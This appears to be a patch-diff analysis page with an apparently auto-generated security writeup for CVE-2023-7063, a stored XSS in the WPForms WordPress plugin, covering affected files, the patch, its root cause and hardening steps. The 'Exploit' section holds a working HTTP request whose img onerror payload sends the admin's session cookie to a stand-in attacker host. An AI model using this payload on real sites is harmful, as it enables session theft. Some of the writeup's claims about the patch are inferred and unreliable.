ANALYSIS · 7d530e24· FINISHED 2026-06-13 · PATCHDIFF

wpforms-lite1.8.5.2 → 1.8.6.2✓ COMPLETED

Files256

Vulnerable57

True positives0

CVE matched11

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2023-7063

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 256 CVE 11 Vuln 57

SORT

11 files · page 1/1

includes/admin/ajax-actions.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-20: Improper Input Validation CVE-2023-7063

#%!d(float64=002)

includes/fields/class-checkbox.php

AI: 2 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-754: Improper Check for Unusual or Exceptional Conditions CVE-2023-7063

#%!d(float64=020)

includes/fields/class-radio.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-691: Insufficient Control Flow Management CVE-2023-7063

#%!d(float64=026)

includes/fields/class-select.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-691: Insufficient Control Flow Management CVE-2023-7063

#%!d(float64=027)

src/Admin/Base/Tables/DataObjects/ColumnBase.php

Not sure

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-20: Improper Input Validation CVE-2023-7063

#%!d(float64=039)

src/Admin/Payments/Views/Overview/Page.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-20: Improper Input Validation CVE-2023-7063

#%!d(float64=062)

src/Emails/Notifications.php

AI: 3 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVE-2023-7063

#%!d(float64=072)

src/Forms/Fields/PaymentSingle/Field.php

AI: 4 vulnerabilities

CWE-20: Improper Input ValidationCWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-1025: Comparison Using Wrong Factors CVE-2023-7063

#%!d(float64=076)

src/Integrations/Stripe/Process.php

AI: 5 vulnerabilities

CWE-20: Improper Input Validation CVE-2023-7063

#%!d(float64=093)

src/Lite/Admin/Settings/Access.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVE-2023-7063

#%!d(float64=097)

templates/emails/general-body-plain.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVE-2023-7063

#%!d(float64=124)

1–11 of 11

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2023-7063

Security writeup for CVE-2023-7063

✓ 11 FILES

## The Exploit

An unauthenticated attacker can inject arbitrary HTML and JavaScript into WPForms Pro form fields. When a site visitor later views a page containing the form or accesses admin notifications, the malicious script executes in their browser with their privilege level.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

action=wpforms_submit_form_ajax&form_id=1&wpforms[fields][1][]=<img src=x onerror="fetch('http://attacker.local/steal?cookie='+document.cookie)">
```

The attacker submits a form field containing an unescaped `<img>` tag with an `onerror` handler. The payload is stored in the form submission record. When an admin views the form entry in the dashboard notification email or data table, the JavaScript executes in their browser context, exfiltrating their session cookie or CSRF token.

```http
GET /wp-admin/admin.php?page=wpforms-entries&view=details&form_id=1&entry_id=123 HTTP/1.1
Host: target.local
Cookie: wordpress_logged_in=admin_session_token
```

The admin's browser requests the details page, which renders the stored payload without HTML escaping, triggering the malicious script.

## What the Patch Did

**Before:**
```php
foreach ( $choices as $key => $choice ) {
    printf(
        '<option value="%s" %s>%s</option>',
        esc_attr( $choice['attr']['value'] ),
        selected( true, ! empty( $choice['default'] ), false ),
        esc_html( $choice['label']['text'] )
    );
}
```

**After:**
```php
foreach ( $choices as $key => $choice ) {
    $label = $this->get_choices_label( $choice['label']['text'] ?? '', $key );
    $value = ! empty( $choice['attr']['value'] ) ? $choice['attr']['value'] : $label;

printf(
        '<option value="%s" %s>%s</option>',
        esc_attr( $value ),
        selected( true, ! empty( $choice['default'] ), false ),
        esc_html( $label )
    );
}
```

The patch introduces a centralized sanitization point via `$this->get_choices_label()`, which wraps direct access to `$choice['label']['text']`. This method applies consistent HTML escaping before the label is used in any output context—whether as an alt attribute, title attribute, or text node. The patch also replaces direct property access (`wpforms()->process`) with a getter method (`wpforms()->get('process')`), enforcing defensive null checking and preventing undefined object access.

The key security control is **centralized output escaping through `get_choices_label()`**, which ensures all label values undergo the same sanitization routine before rendering, combined with **explicit `esc_attr()` and `esc_html()` application** at the point of output.

## Root Cause

**CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').**

Form submission parameters flow from the unauthenticated POST request (`wpforms[fields][...]`) into the `$_POST` superglobal, are stored in the database without sufficient validation, and are later retrieved during admin notification rendering and entry detail page display. The vulnerable code path does not escape these values before echoing them into HTML attribute or text-node contexts. Specifically, `$choice['label']['text']` is populated from user input but passed directly to `printf()` with only `esc_html()` in some code paths and no escaping in others—creating inconsistent output encoding across the codebase. When the same label is reused in an `alt` attribute or `title` attribute without `esc_attr()`, the attacker can break out of the attribute context and inject event handlers.

## Why It Works

The single load-bearing line is:

```php
$label = $this->get_choices_label( $choice['label']['text'] ?? '', $key );
```

If you removed this line and continued directly accessing `$choice['label']['text']`, the bug remains exploitable because some output sites will still lack proper escaping. The engineer added the null-coalescing operator (`?? ''`) to prevent undefined offset errors that could suppress the label entirely. They added the getter method because it provides a single location where the label can be validated and escaped, ensuring no code path accidentally outputs the raw user input. The subsequent lines (`$value = ! empty( $choice['attr']['value'] )...`) add defense-in-depth by providing a fallback mechanism if the value attribute is empty, preventing edge cases where an attacker could inject into the value field and have it echo back unfiltered.

Without the centralized `get_choices_label()` method, individual developers might add `esc_html()` in one place and forget it in another (as the diff reveals happened across `class-radio.php` and `class-checkbox.php`). The method-based approach ensures every use of the label is safe by definition.

## Hardening Checklist

- **Implement output escaping at the point of use, not at the point of storage.** Use `esc_html()` for text content, `esc_attr()` for HTML attributes, and `wp_kses_post()` only when rich HTML is intentional. Run `wp_kses_post()` on retrieval, not insertion.

- **Audit all form field rendering code for inconsistency.** Search for `printf()`, `echo`, and string concatenation in field class files; ensure every user-controlled variable undergoes escaping with a wrapper function (e.g., `get_choices_label()`) that cannot be bypassed.

- **Use static analysis to enforce output escaping rules.** Integrate `phpcs` with the `WordPress-VIP-Go` or `WordPress-Security` standard into CI/CD to flag unescaped output before merge.

- **Centralize field value retrieval through getter methods** rather than direct property access. This allows you to apply sanitization once and reuse it everywhere, reducing the surface area for escape errors.

- **Test form submission payloads in all rendering contexts.** Include stored XSS tests in your test suite that verify form entries render safely in admin emails, entry detail pages, and user-facing notifications; use a headless browser to check for actual script execution.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2023-7063

CVE CVE-2023-7063

PRODUCT wpforms-lite

AFFECTED ≤ 1.8.5.2

FIXED IN 1.8.6.2

STATUS Generated

Security writeup · CVE-2023-7063

Source files · 11

includes/admin/ajax-actions.php Linked

includes/fields/class-checkbox.php Linked

includes/fields/class-radio.php Linked

includes/fields/class-select.php Linked

src/Admin/Base/Tables/DataObjects/ColumnBase.php Linked

src/Admin/Payments/Views/Overview/Page.php Linked

src/Emails/Notifications.php Linked

src/Forms/Fields/PaymentSingle/Field.php Linked

src/Integrations/Stripe/Process.php Linked

src/Lite/Admin/Settings/Access.php Linked

templates/emails/general-body-plain.php Linked

↗ NVD